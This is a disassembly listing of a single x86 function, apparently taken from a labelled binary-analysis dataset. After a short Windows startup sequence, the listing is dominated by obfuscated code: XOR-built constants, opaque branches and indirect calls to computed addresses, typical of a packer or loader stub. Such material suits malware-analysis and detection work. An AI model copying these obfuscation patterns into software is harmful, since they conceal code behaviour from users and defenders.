Function at 0x40a196
Capabilities:
Accept command line arguments

Disassembly:
call fcn.00403094
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x40c014], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [0x40c01c], eax
mov dword [0x40c018], 0xa
mov eax, 0x402e34
ret
push ebp
mov ebp, esp
pushal
mov eax, 0x721313d7
xor eax, 0x36b4ccb
push 0x63bfa1
mov edi, 0x715b313d
pop ecx
xor edi, ecx
xor edi, eax
mov ebx, dword [edi]
mov ecx, 0
xor ecx, ebx
mov eax, 0x14
add ecx, eax
mov eax, 1
sub ecx, eax
mov edi, dword [ecx - 0x13]
mov edx, 0x53602400
mov eax, 0xe5131
xor edx, eax
xor edi, edx
mov esi, 0xfffffffc
add esp, esi
xor edx, edx
add edx, esp
mov dword [edx], edi
pop eax
xor ebx, ebx
add ebx, eax
mov esi, ebx
push esi
push eax
pop ebx
mov ecx, ebx
xor ecx, 0xffffffff
and ecx, 0xffffffff
and ebx, 0
or ebx, ecx
and ebx, 0xd83b8aba
and eax, 0x27c47545
or eax, ebx
mov ebx, 0x66366b7c
xor ebx, 0x66366b7c
xor ebx, eax
and ebx, 0xffffffff
jne 0x40a241
mov eax, 0x3ceb14b4
xor eax, 0x3ceb14b4
push eax
pop ecx
push ecx
pop eax
mov ebx, 4
sub esp, ebx
mov dword [esp], eax
xor eax, eax
add eax, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
and eax, 0
or eax, esi
and eax, 0x536e50ce
and ecx, 0xac91af31
or ecx, eax
and ecx, 0xffff
mov ebx, ecx
xor ebx, 0
jne 0x40a296
mov edx, 0x29c01cb9
xor edx, 0x29c01cb9
push edx
mov ebx, esp
dec ebx
mov esi, dword [ebx + 1]
mov edx, 4
add esp, edx
mov ecx, 0
xor ecx, esi
mov eax, 4
sub esp, eax
mov dword [esp], ecx
mov eax, 0x43d1aca3
xor eax, 0xb72f731a
xor esi, eax
mov edi, 0x247c21dd
xor esi, edi
add esp, 0xfffffffc
mov ebx, esp
mov dword [ebx], esi
pop eax
or eax, esi
jne 0x40a2e7
mov esi, 0xffffffe7
add esi, 0x19
push esi
pop edi
test edi, edi
jne 0x40a46b
mov edx, 0x4c0104
mov eax, 0x69911808
xor edx, eax
push 0x5f885193
mov ebx, 0x3615997f
pop eax
xor ebx, eax
xor ebx, edx
mov edx, 0
xor edx, ebx
mov esi, 0xffffffff
add edx, esi
mov ecx, dword [edx + 1]
mov edx, ecx
mov eax, edx
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], eax
mov eax, 0x11a5c7bf
xor eax, 0x7fec4118
push eax
mov ecx, 0x2b5570dc
mov ebx, 0x455c27b3
xor ebx, ecx
mov esi, dword [esp]
sub esp, 0xfffffffc
xor ebx, esi
push ebx
pop esi
mov eax, 0xf
sub esi, eax
sub esi, 1
mov edx, dword [esi + 0x10]
push edx
pop edi
mov eax, 0xfffffffc
add esp, eax
mov dword [esp], edi
mov edx, 0x15cad59a
add edx, 0x3111adbd
mov ecx, 0x4f5f46bd
add ecx, 0xf75432a8
xor ecx, edx
push ecx
pop edx
mov esi, 0xfffffffc
add esp, esi
mov dword [esp], edx
mov ecx, dword [esp]
mov eax, 4
add esp, eax
pop ebx
mov edx, ecx
and edx, 1
xor esi, esi
add esi, edx
xor esi, 0
je 0x40a3d3
mov esi, esp
sub esi, 0x38
mov edx, dword [esi + 0x38]
add esp, 2
add esp, 2
mov edi, 0xfffffffc
add esp, edi
push esp
pop esi
mov dword [esi], ebx
sub ebx, ebx
add ebx, edx
mov esi, 4
sub esp, esi
push esp
pop edx
mov dword [edx], ebx
mov eax, ecx
xchg esi, eax
mov eax, 0xfffffffc
add esp, eax
mov dword [esp], esi
call ebx
pop edi
mov ebx, 0x75ee4b94
add ebx, 0x8a11b46b
add edi, ebx
and edi, 0x8ffffff
mov ecx, edi
mov eax, ecx
mov ebx, 0xfffffffc
add esp, ebx
mov dword [esp], eax
cmp edi, 0
jne 0x40a38c
mov eax, esp
add eax, 0x6d
dec eax
mov ebx, dword [eax - 0x6c]
mov ecx, 0xfffffffc
sub esp, ecx
mov edx, esp
add edx, 0x14
dec edx
mov ebx, dword [edx - 0x13]
mov esi, 0xfffffffc
sub esp, esi
pop ebx
pop edi
mov esi, 0x45ffb1e5
xor esi, 0x5d5da87d
push esi
mov edi, 0x7122a4b6
mov ebx, 0x69c0e3ce
xor ebx, edi
mov edx, dword [esp]
add esp, 4
xor ebx, edx
call ebx
popal
pop ebp
jmp 0x4030dc